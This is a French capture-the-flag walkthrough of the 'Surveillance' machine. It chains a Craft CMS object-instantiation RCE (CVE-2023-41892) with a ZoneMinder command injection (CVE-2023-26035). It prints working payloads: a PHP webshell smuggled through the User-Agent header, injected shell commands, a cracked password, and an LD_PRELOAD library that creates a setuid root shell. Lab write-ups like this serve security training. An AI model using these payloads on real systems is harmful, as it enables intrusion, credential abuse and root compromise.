Surveillance
Remarque : j'ai conservé les scripts Python présents en tête de fichier (PoC). Ci‑dessous une documentation structurée en français qui synthétise les write‑ups et ajoute commandes et courtes explications pour reproduire l'exploitation (sans insérer les liens originaux).
Résumé rapide
Surveillance est une machine composée d'un site Craft CMS vulnérable (version antérieure à 4.4.15) permettant une instanciation d'objet arbitraire (CVE-2023-41892). Cela mène à une RCE en tant que www-data via deux méthodes principales : exploitation directe en uploadant un fichier MSL (ImageMagick) et via l'inclusion de logs. Après un accès www-data on récupère une sauvegarde de la base, on extrait un hash (SHA‑256) et on cracke le mot de passe pour obtenir un accès SSH (matthew). Depuis là, on accède à une instance ZoneMinder locale et on exploite une vulnérabilité (CVE-2023-26035) pour obtenir zoneminder. L'escalade finale vers root se fait soit par injection de commande dans /usr/bin/zmupdate.pl, soit via un abus LD_PRELOAD dans ZoneMinder (deux méthodes aboutissent à un binaire setuid permettant shell root).
Pré-requis
- Outils :
nmap,feroxbuster/ffuf,curl,wget,git-dumper(ou équivalent),pngcrush,exiv2/identify,xxd,sqlite3,hashcat,sshpass,nc,gcc(pour LD_PRELOAD PoC local),python3. - Conserver les scripts PoC fournis (ci‑dessus) facilite l'exploitation réplicable.
Reconnaissance (exemples)
nmap -p22,80 -sC -sV surveillance.htb
Explication : identifie SSH (22) et HTTP (80) et versions (nginx / Craft CMS).
feroxbuster -u http://surveillance.htb -x php -w /usr/share/wordlists/raft-medium-directories.txt
Explication : recherche d'administration (/admin → /admin/login) et de chemins exposés.
Exploitation Craft CMS — CVE-2023-41892 (RCE www-data)
Principe : la vulnérabilité permet d'instancier des objets PHP arbitraires via le paramètre config dans l'action conditions/render. Deux approches courantes :
-
- Upload + MSL (ImageMagick) : créer un fichier MSL contenant un webshell, provoquer un crash d'ImageMagick pour que le fichier temporaire reste sur disque puis invoquer ImageMagick pour écrire le webshell dans le webroot.
-
- Log poisoning + inclusion : écrire du PHP dans les logs (User‑Agent) puis forcer l'inclusion du fichier de log via un objet vulnérable (PhpManager / itemFile).
Exemples de commandes (résumées) :
- Obtenir
phpinfoet extraireupload_tmp_diretDOCUMENT_ROOT(via PoC rapide) — utile pour localiser où déposer le MSL :
# exécuter le PoC ou POST adapté pour obtenir phpinfo
python3 craft-cms.py http://surveillance.htb
Explication : le PoC extrait temporary directory et web server root pour la suite.
- Générer MSL contenant un webshell et l'uploader (via le PoC/script) ; forcer Imagick à traiter le fichier :
# exemple (PoC script automate les étapes) :
python3 craft-cms.py http://surveillance.htb
Explication : le script automatise upload, crash Imagick, et invocation pour écrire shell.php dans le webroot.
- Vérifier le webshell :
curl 'http://surveillance.htb/shell.php?cmd=id'
Explication : confirme l'exécution de commandes via la webshell (www-data).
Alternative (log poisoning) :
# 1) poster User-Agent contenant PHP
curl -A '<?php file_put_contents("/var/www/html/craft/web/shell.php","<?php system($_GET["cmd"]);?>"); ?>' -d 'action=conditions/render&...' http://surveillance.htb
# 2) instancier PhpManager ou itemFile via PoC pour inclure le log
Explication : cette méthode écrit/enclenche du PHP via les logs puis l'inclut pour créer un webshell.
Extraction DB & Bruteforce (passerelle vers matthew)
- Récupérer la sauvegarde trouvée sur le site (ex :
storage/backups/*.sql.zip) et extraire la tableusers.
unzip surveillance--*.sql.zip -d /tmp
grep -i "INSERT INTO `users`" /tmp/surveillance--*.sql | sed -n '1p'
Explication : localise la ligne contenant l'insert du compte admin/Matthew.
- Extraire le hash et cracker avec
hashcat(SHA‑256 exemple) :
echo '39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec' > admin-sha256.hash
hashcat -m 1400 admin-sha256.hash /usr/share/wordlists/rockyou.txt
Explication : -m 1400 = SHA‑256 raw ; récupère le mot de passe starcraft122490 (exemple).
- SSH en tant que
matthew:
sshpass -p 'starcraft122490' ssh [email protected]
cat ~/user.txt
Explication : accès stable et récupération du flag utilisateur.
ZoneMinder — CVE-2023-26035 (obtenir zoneminder)
- Accéder à ZoneMinder via tunnel (SSH local port forward) :
ssh -L 8888:127.0.0.1:8080 [email protected]
# puis visiter http://localhost:8888
Explication : ZoneMinder est exposé localement sur 127.0.0.1:8080.
- Exploiter snapshot RCE (format POST) — exemple blind RCE :
CSRF=$(curl -s http://localhost:8888 | grep csrf_magic | cut -d'"' -f12)
curl -s http://localhost:8888/index.php -d "view=snapshot&action=create&monitor_ids[0][Id]=0;sleep 5&__csrf_magic=${CSRF}"
Explication : la commande est exécutée côté serveur ; l'output n'est pas renvoyé (blind), mais on peut mesurer délai ou pousser actions (ex : cp /bin/bash /tmp/x; chmod 6777 /tmp/x).
- Résultat : création d'un binaire setuid permettant montée de privilèges vers
zoneminderpuis root (selon méthode suivante).
Escalade finale vers root
Deux méthodes documentées :
- Command injection dans
/usr/bin/zmupdate.pl:
sudo /usr/bin/zmupdate.pl --version 10 -u '$(cp /bin/bash /tmp/0xdfroot; chown root:root /tmp/0xdfroot; chmod 6777 /tmp/0xdfroot)'
/tmp/0xdfroot -p
Explication : le script construit une commande mysqldump à partir d'arguments non totalement désinfectés ; l'injection permet d'exécuter commandes arbitraires et obtenir un binaire setuid root.
- LD_PRELOAD via ZoneMinder options :
# compiler la shared lib locale
cat > shell.c <<'C'
#include <stdlib.h>
#include <unistd.h>
void _init(){ unsetenv("LD_PRELOAD"); system("cp /bin/bash /tmp/0xdf-root; chown root:root /tmp/0xdf-root; chmod 6777 /tmp/0xdf-root"); }
C
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
scp shell.so [email protected]:/tmp/
# via l'option vulnérable dans ZoneMinder, charger shell.so comme LD_PRELOAD et démarrer le service
Explication : en insérant la librairie partagée via l'option vulnérable, le démarrage du service exécute _init() et crée un binaire setuid root.
Après création du binaire setuid root, exécution :
/tmp/0xdf-root -p
cat /root/root.txt
Récapitulatif commandes utiles
nmap -p22,80 -sC -sV surveillance.htb— découverte services.feroxbuster -u http://surveillance.htb -x php -w <wordlist>— découverte chemins.python3 craft-cms.py http://surveillance.htb— PoC pour CVE-2023-41892 (automatise phpinfo, upload MSL, write webshell).identify/exiv2/xxd— inspecter et décoder payloads ImageMagick si nécessaire.unzip+grep— trouver backup DB, extraireusers.hashcat -m 1400 hashfile rockyou.txt— cracker SHA‑256.sshpass -p '<pass>' ssh user@host— accès SSH rapide.ssh -L 8888:127.0.0.1:8080 [email protected]— tunnel ZoneMinder.- ZoneMinder exploit patterns: POST snapshot RCE (blind) and sudo abuse via
zmupdate.pl.